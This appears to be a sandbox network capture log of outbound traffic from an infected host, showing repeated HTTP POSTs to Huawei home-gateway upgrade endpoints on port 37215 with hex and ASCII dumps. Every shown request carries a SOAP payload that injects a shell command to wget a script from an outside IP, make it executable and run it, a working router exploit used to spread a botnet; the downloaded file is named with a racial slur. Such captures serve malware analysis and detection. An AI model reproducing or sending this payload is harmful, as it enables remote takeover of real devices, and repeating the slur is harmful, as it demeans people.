3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.15	38608	45.33.249.26	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:39.595155001 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.15	48468	45.127.161.223	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:39.595551968 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:40.450740099 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:41.442635059 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:43.426769018 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:47.522600889 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:55.458286047 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:11.329905987 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:44.097064972 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 